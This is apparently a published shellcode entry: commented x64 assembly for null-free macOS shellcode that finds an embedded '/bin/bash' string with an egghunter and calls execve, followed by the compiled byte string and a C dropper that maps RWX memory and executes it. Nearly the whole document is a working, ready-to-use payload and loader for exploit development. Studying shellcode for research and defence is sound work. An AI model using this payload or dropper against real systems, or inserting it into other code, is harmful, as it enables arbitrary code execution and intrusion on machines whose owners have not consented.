# Shellcode Title: macOS/x64 - Execve Null-Free Shellcode (253 Bytes)
# Shellcode Author: Bobby Cooke (boku) @0xBoku github.com/boku7
# Date: 12/20/2022
# Tested on: macOS Monterey; 21.6.0 Darwin Kernel Version; x86_64
# Shellcode Description:
# macOS 64 bit shellcode. Uses execve syscall to spawn bash. The string is within the shellcode. The shellcode finds the string in memory, copies the string to the stack, and then changes the string terminator to 0x00.
# Shoutout to IBM X-Force Red Adversary Simulation team! Currently working through EXP-312 and tinkering with macOS shellcoding. Shoutout to the offsec team for the cool course! 
# Compile & run:
#     nasm -f macho64 execve.asm -o execve
#     for x in $(objdump -d execve --x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo
#  # Add shellcode to dropper.c
#     gcc dropper.c -o dropper
#     sh-3.2$ pstree -p $(echo $$) | grep $$
#           \-+= 56862 bobby sh
#     sh-3.2$ ./dropper
#         [+] Shellcode Length: 253 Bytes
#         [+] Copying shellcode from variable at 0x10e4fde00 to allocated RWX memory at 0x10e643000
#         [+] Executing shellcode at 0x10e643000
#     bobby$ pstree -p $(echo $$) | grep -B1 $$
#           \-+= 56862 bobby sh
#             \-+= 57021 bobby (bash)

bits 64
global _main

_main:
  create_stackframe:
    push rbp           ; push current base pointer to the stack
    mov rbp, rsp       ; Set Base Stack Pointer for new Stack-Frame
    sub rsp, 0x60      ; create space for string
    mov [rbp-0x8], rsp ; Save destination string buffer address
    jmp short lilypad_1

; char * string eggHunter(egg);
;     RAX                 RDI
; description: starts searching for the supplied egg starting from the callers return address
eggHunter:
  mov rcx, [rsp]    ; start the egghunter from the caller function return address
  hunt:
    inc rcx         ; move to the hunter to the next byte
    cmp [rcx], di   ; did we find the first  egg?
    jne hunt        ; if not, continue hunt

    add cx, 0x2     ; move hunter to 2nd egg location
    cmp [rcx], di   ; did we find the second egg?
    jne hunt        ; if not, continue hunt

    add cx, 0x2     ; both eggs found! Move hunter +2 to return the start of buffer addr
    xchg rax, rcx   ; return start of string address
    ret

; int length strsize(&string, terminator);
;      RAX              RDI        RSI
; description: gets string size of a string that is terminated with a predetermined non-null byte. Terminator byte not included.
strsize:
  xor rax, rax      ; clear register
  xor rcx, rcx      ; set the counter to zero
  strsize_loop:
    mov rcx, rdi    ; start of string address
    add rcx, rax    ; current memory location of char in string
    cmp [rcx], sil  ; is this the null terminator?
    je strsize_return
    prevent_infinite_loop:
      cmp ax, 0x1001          ; compare value in RAX to 0x1001 (prevent infinite mem scanning)
      jg strsize_fail2find    ; if value in RAX is greater, jump to label
    inc rax                   ; move to the next char in the string
    jmp strsize_loop
  strsize_fail2find:
    xor rax, rax    ; return null/ 0x0
  strsize_return:
    ret

lilypad_1:
  jmp short lilypad_2

; char * string terminateString(&string, terminator);
;     RAX                          RDI        RSI
; description: Finds the string terminator and changes it to a null byte
terminateString:
  xor rcx, rcx      ; set the counter to zero
  mov rcx, rdi      ; start address to look for terminator
  loop_find_terminator:
    cmp [rcx], sil  ; is this the null terminator?
    je found_terminator
    inc rcx         ; move to the next char in the string
    jmp loop_find_terminator
  found_terminator:
    mov [rcx], al
    ret

; void * dst_addr move_memory(void *dst_addr, void *src_addr, size_t mem_size);
;        RAX                         RDI             RSI              RDX
; description: Move memory from source address to destination address
;  ARG1 - RDI: destination address
;  ARG2 - RSI: source address
;  ARG3 - RDX: size of the memory
move_memory:
  ; Loop through memory and move each byte from source to destination
  push rdi                 ; save the destination address so we can return it at the end
  xor rax, rax             ; register to temporarily hold the byte we are copying
  move_memory_loop:
    mov al, [rsi]          ; read the byte from source address into the temporary register
    mov [rdi], al          ; write the byte at the destination address
    inc rsi                ; increment source address
    inc rdi                ; increment destination address
    dec rdx                ; decrement memory size
    jnz move_memory_loop   ; repeat loop until memory size is 0
  ; Return to caller
  pop rax                  ; return the destination address of the memory to the caller
  ret

lilypad_2:
  jmp short lilypad_3

; void clear_memory(void *dst_addr, size_t mem_size);
;                         RDI              RSI
; description: Writes 0x00 bytes to a destination address
;  ARG1 - RDI: a pointer to the destination address
;  ARG2 - RSI: the size of the memory to be written to
clear_memory:
  mov rcx, rsi     ; load memory size from second argument into rcx
  xor rax, rax
  ; Loop through memory and write 0x00 to each byte in destination address
  clrmem_loop:
    mov byte [rdi], al   ; write 0x00 to byte in destination address
    inc rdi              ; increment destination address
    dec rcx              ; decrement memory size
    jnz clrmem_loop      ; repeat loop until memory size is 0
  ; Return to caller
  ret

lilypad_3:
  ; *string = eggHunter(egg); Starts hunt from return address of caller
  find_execve_string: 
    xor rdi, rdi        ; clear register
    mov  di, 0xBCB0     ; Arg 1: Our egg
    call eggHunter      ; returns string start address
    mov [rbp-0x10], rax ; Save string address

  get_strlen:
    mov rdi, [rbp-0x10]    ; Arg 1: string start address
    xor rsi, rsi           ; clear register
    mov sil, 0xFF          ; Arg 2: string terminator
    call strsize ; returns string size
    mov [rbp-0x18], rax    ; Save string size    
  
  ; move_memory(dst_addr, src_addr, mem_size);
  ;               RDI       RSI       RDX
  copy_str2stack:
    mov rdi, [rbp-0x8]      ; Arg 1: String buffer on stack
    mov rsi, [rbp-0x10]     ; Arg 2: Original string location
    mov rdx, [rbp-0x18]     ; Arg 3: size
    call move_memory

  do_terminate_string:
    mov rdx, [rbp-0x18]     ; string size
    mov rdi, [rbp-0x8]      ; String buffer on stack
    add rdi, rdx            ; Arg 1: string terminator location
    xor rsi, rsi            ; clear register
    mov sil, 0x1            ; Arg 2: mem size to null
    call clear_memory       ; returns string size

  ; execve("/bin/bash",NULL,NULL)
  execve:
    mov rdi, [rbp-0x8]  ; Arg 1: String buffer on stack  
    xor  rsi, rsi       ; Arg 2: NULL
    xor  rdx, rdx       ; Arg 3: NULL
    xor  rax, rax       ; clear register for syscall number setup
    mov  al, 0x2        ; set a bit in register
    ror  rax, 0x28      ; move the bit over 28 bits to the right in the register
    mov  al, 0x3b       ; set the lower byte (AL) of the RAX register to the execve syscall number
    syscall             ; do syscall interrupt
  
  fixstack:
    add rsp, 0x60    ; clear allocated stack space
    pop rbp          ; restore stack base pointer
    ret              ; return to caller

shell_path_string:  db  0xB0,0xBC,0xB0,0xBC,"/bin/bash",0xFF

###########################################################################################################################################

// dropper.c

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*execute_shellcode)();

const unsigned char shellcode[] = 
"\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x89\x65\xf8\xeb\x3c\x48\x8b\x0c\x24\x48\xff\xc1\x66\x39\x39\x75\xf8\x66\x83\xc1\x02\x66\x39\x39\x75\xef\x66\x83\xc1\x02\x48\x91\xc3\x48\x31\xc0\x48\x31\xc9\x48\x89\xf9\x48\x01\xc1\x40\x38\x31\x74\x0e\x66\x3d\x01\x10\x7f\x05\x48\xff\xc0\xeb\xea\x48\x31\xc0\xc3\xeb\x28\x48\x31\xc9\x48\x89\xf9\x40\x38\x31\x74\x05\x48\xff\xc1\xeb\xf6\x88\x01\xc3\x57\x48\x31\xc0\x8a\x06\x88\x07\x48\xff\xc6\x48\xff\xc7\x48\xff\xca\x75\xf1\x58\xc3\xeb\x11\x48\x89\xf1\x48\x31\xc0\x88\x07\x48\xff\xc7\x48\xff\xc9\x75\xf6\xc3\x48\x31\xff\x66\xbf\xb0\xbc\xe8\x7b\xff\xff\xff\x48\x89\x45\xf0\x48\x8b\x7d\xf0\x48\x31\xf6\x40\xb6\xff\xe8\x84\xff\xff\xff\x48\x89\x45\xe8\x48\x8b\x7d\xf8\x48\x8b\x75\xf0\x48\x8b\x55\xe8\xe8\xa4\xff\xff\xff\x48\x8b\x55\xe8\x48\x8b\x7d\xf8\x48\x01\xd7\x48\x31\xf6\x40\xb6\x01\xe8\xa5\xff\xff\xff\x48\x8b\x7d\xf8\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05\x48\x83\xc4\x60\x5d\xc3\xb0\xbc\xb0\xbc\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\xff";


int main() {
    size_t shellcode_size = sizeof(shellcode);

    printf("[+] Shellcode Length: %lu Bytes\n", shellcode_size);
  
    void *rwx_memory = mmap(0, 0x1024, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
 
    if (rwx_memory == MAP_FAILED) {
        printf("[!] Failed to allocate RWX memory\n");
        perror("mmap");
        exit(-1);
    }
 
    printf("[+] Copying shellcode from variable at %p to allocated RWX memory at %p\n",shellcode,rwx_memory);
    memcpy(rwx_memory, shellcode, sizeof(shellcode));
    execute_shellcode = rwx_memory;
 
    printf("[+] Executing shellcode at %p\n",rwx_memory);
    execute_shellcode();
    return 0;
 
}